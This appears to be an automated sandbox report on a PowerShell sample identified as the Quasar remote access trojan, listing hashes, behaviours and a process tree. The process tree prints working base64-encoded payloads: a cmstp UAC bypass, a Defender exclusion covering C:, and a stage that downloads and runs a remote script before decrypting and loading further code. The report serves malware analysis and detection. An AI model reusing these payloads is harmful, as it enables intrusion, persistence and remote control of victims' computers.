Analysis
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max time kernel
118s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20250129-en -
resource tags
arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system -
submitted
30-01-2025 09:27
Static task
static1
Behavioral task
behavioral1
Sample
c358e0a764cf471e8fbcad222793853b.ps1
Resource
win7-20240903-en
General
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Target
c358e0a764cf471e8fbcad222793853b.ps1
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Size
368KB
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MD5
7a0090d72fbfbfa03eb02050e93d2ed7
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SHA1
66dc4bb7d8085d1fc894baf3271319a4329971bc
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SHA256
24fc3c7f746c3a037df97368a44462353b48160e58bb5e2c238280bbd2c9468f
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SHA512
aae5aacaa5d3bce53be878b4ef2f4bfee8a9085e67810f3f9acdea2ec4eb26f28d2caa23a62cf18562dd838cbcca50800992df14de5f5bc07c9d2079da8272c6
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SSDEEP
6144:WVLvQRko6c7UCeRYR3XhR1a3Nz1hpMkW3Wggec5kQ39JO9Wejhv:WxQB6c7UfYpD1a3BGRgenQ39DK
Malware Config
Extracted
quasar
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reconnect_delay
3000
Signatures
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Quasar family
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Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/2452-113-0x0000000008390000-0x00000000083EE000-memory.dmp family_quasar -
Blocklisted process makes network request 3 IoCs
flow pid Process 14 2452 powershell.exe 17 2452 powershell.exe 20 2452 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
pid Process 2784 powershell.exe 4168 powershell.exe 2452 powershell.exe 32 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2089655958-977706906-1981639424-1000\Control Panel\International\Geo\Nation cscript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2089655958-977706906-1981639424-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate_753 = "wscript.exe \"C:\\Users\\Admin\\AppData\\Roaming\\WindowsUpdate_753.vbs\"" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 16 ip-api.com -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Kills process with taskkill 1 IoCs
pid Process 1152 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 32 powershell.exe 32 powershell.exe 2784 powershell.exe 2784 powershell.exe 4168 powershell.exe 4168 powershell.exe 2452 powershell.exe 2452 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 32 powershell.exe Token: SeDebugPrivilege 2784 powershell.exe Token: SeDebugPrivilege 4168 powershell.exe Token: SeDebugPrivilege 1152 taskkill.exe Token: SeDebugPrivilege 2452 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2452 powershell.exe -
Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 32 wrote to memory of 3168 32 powershell.exe 86 PID 32 wrote to memory of 3168 32 powershell.exe 86 PID 3168 wrote to memory of 1460 3168 cscript.exe 88 PID 3168 wrote to memory of 1460 3168 cscript.exe 88 PID 1460 wrote to memory of 4852 1460 cmd.exe 90 PID 1460 wrote to memory of 4852 1460 cmd.exe 90 PID 4852 wrote to memory of 2784 4852 cmd.exe 92 PID 4852 wrote to memory of 2784 4852 cmd.exe 92 PID 2784 wrote to memory of 2592 2784 powershell.exe 94 PID 2784 wrote to memory of 2592 2784 powershell.exe 94 PID 2592 wrote to memory of 1564 2592 csc.exe 95 PID 2592 wrote to memory of 1564 2592 csc.exe 95 PID 2784 wrote to memory of 5044 2784 powershell.exe 96 PID 2784 wrote to memory of 5044 2784 powershell.exe 96 PID 4852 wrote to memory of 2452 4852 cmd.exe 102 PID 4852 wrote to memory of 2452 4852 cmd.exe 102 PID 4852 wrote to memory of 2452 4852 cmd.exe 102
Processes
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\c358e0a764cf471e8fbcad222793853b.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:32 -
C:\Windows\system32\cscript.exe"C:\Windows\system32\cscript.exe" /nologo C:\Users\Admin\AppData\Local\Temp\tmp85CA.vbs2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3168 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:1460 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\c.bat"4⤵
- Suspicious use of WriteProcessMemory
PID:4852 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -noprofile -windowStyle Hidden -ep bypass -command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2784 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tvt4ps0c\tvt4ps0c.cmdline"6⤵
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8B67.tmp" "c:\Users\Admin\AppData\Local\Temp\tvt4ps0c\CSC85E32BA4FC5242D792A886A4C52627DE.TMP"7⤵PID:1564
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C:\windows\system32\cmstp.exe"C:\windows\system32\cmstp.exe" /au C:\windows\temp\wifu52za.inf6⤵PID:5044
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ2FXVjRJQ2hKYm5admEyVXRWMlZpVW1WeGRXVnpkQ0F0VlhKcElDSm9kSFJ3Y3pvdkx6QjRNQzV6ZEM4NExUVlRMbkJ6TVNJcCcpKSk7ZW1wdHlzZXJ2aWNlcyAtZXR3O1N0YXJ0LVNsZWVwIC1TZWNvbmRzIDU7ZnVuY3Rpb24geXpvaGlkaXhvbWF3YWhmKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnZ2t6djZRL1VIK2c4cVZ5TkhqcHc1M2tEMHE5dkpTYXI3c2FkVjM3MXlEcz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ29pWGk5SzljMkRlaytJMlgvOW5HY3c9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gbHhzd3N3b3hkcmt3aHFlKCRwYXJhbV92YXIpewlJRVggJyRicmJ5YmlqcnVzZmhxZ25tdXFna3NndmpoPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGtia3F4aGFoa2xpdmNmeGJneWVub3hycWU9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRxZmFnbXZ3cnJyZ3lieGtmYWd1ZXJza2ppPU5ldy1PYmplY3QgU3lzdGVtLklPLkNBQkNvbUFCQ3ByQUJDZUFCQ3NzQUJDaW9BQkNuLkFCQ0daQUJDaXBBQkNTdEFCQ3JlQUJDYW1BQkMoJGJyYnliaWpydXNmaHFnbm11cWdrc2d2amgsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHFmYWdtdndycnJneWJ4a2ZhZ3VlcnNramkuQ29weVRvKCRrYmtxeGhhaGtsaXZjZnhiZ3llbm94cnFlKTsJJHFmYWdtdndycnJneWJ4a2ZhZ3VlcnNramkuRGlzcG9zZSgpOwkkYnJieWJpanJ1c2ZocWdubXVxZ2tzZ3ZqaC5EaXNwb3NlKCk7CSRrYmtxeGhhaGtsaXZjZnhiZ3llbm94cnFlLkRpc3Bvc2UoKTsJJGtia3F4aGFoa2xpdmNmeGJneWVub3hycWUuVG9BcnJheSgpO31mdW5jdGlvbiBhamVjYWl5eWR3bmZmdG5qdXhtdnB6cmNkKCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewkJSUVYICckbGlyd3Nta3VsaGJ6YXlxbWRrbnJjZmJ0aW9xd2xueXZyeGFuZXZ6ZT1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJHZlcHBpZnppZXNuaHhyZ2dneG9kd29peWpnaGR4ZGhpbGp2eHBsa2NvaXJzYXF5enF1PSRsaXJ3c21rdWxoYnpheXFtZGtucmNmYnRpb3F3bG55dnJ4YW5ldnplLkFCQ0VBQkNuQUJDdEFCQ3JBQkN5QUJDUEFCQ29BQkNpQUJDbkFCQ3RBQkM7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJHZlcHBpZnppZXNuaHhyZ2dneG9kd29peWpnaGR4ZGhpbGp2eHBsa2NvaXJzYXF5enF1LkFCQ0lBQkNuQUJDdkFCQ29BQkNrQUJDZUFCQygkbnVsbCwgJHBhcmFtMl92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpO30kbGptdmdzdWFuYnJjbGhsbnBqamZqa3VkciA9ICRlbnY6VVNFUk5BTUU7JGluZnBoYmVydmJuYndlYWJvZ3B6enFnbGIgPSAnQzpcVXNlcnNcJyArICRsam12Z3N1YW5icmNsaGxucGpqZmprdWRyICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkaW5mcGhiZXJ2Ym5id2VhYm9ncHp6cWdsYjskamN6Ymg9W1N5c3RlbS5JTy5GaWxlXTo6KCd0eGVUbGxBZGFlUidbLTEuLi0xMV0gLWpvaW4gJycpKCRpbmZwaGJlcnZibmJ3ZWFib2dwenpxZ2xiKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkeWZxIGluICRqY3piaCkgewlpZiAoJHlmcS5TdGFydHNXaXRoKCc6OicpKQl7CQkkc2h0bnk9JHlmcS5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kZG5sYm1vY21td3JoeG9sYnl2cmd2dW1pdD1bc3RyaW5nW11dJHNodG55LlNwbGl0KCdcJyk7SUVYICckemVncXRxcG9neGt3ZmFmbXZraWdzcWZobj1seHN3c3dveGRya3docWUgKHl6b2hpZGl4b21hd2FoZiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRkbmxibW9jbW13cmh4b2xieXZyZ3Z1bWl0WzBdKSkpOycuUmVwbGFjZSgnQUJDJywgJycpO0lFWCAnJHhjamluamJjaG5qd3ZzZ2N0cnJhZnR1bHU9bHhzd3N3b3hkcmt3aHFlICh5em9oaWRpeG9tYXdhaGYgKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkZG5sYm1vY21td3JoeG9sYnl2cmd2dW1pdFsxXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTthamVjYWl5eWR3bmZmdG5qdXhtdnB6cmNkICR6ZWdxdHFwb2d4a3dmYWZtdmtpZ3NxZmhuI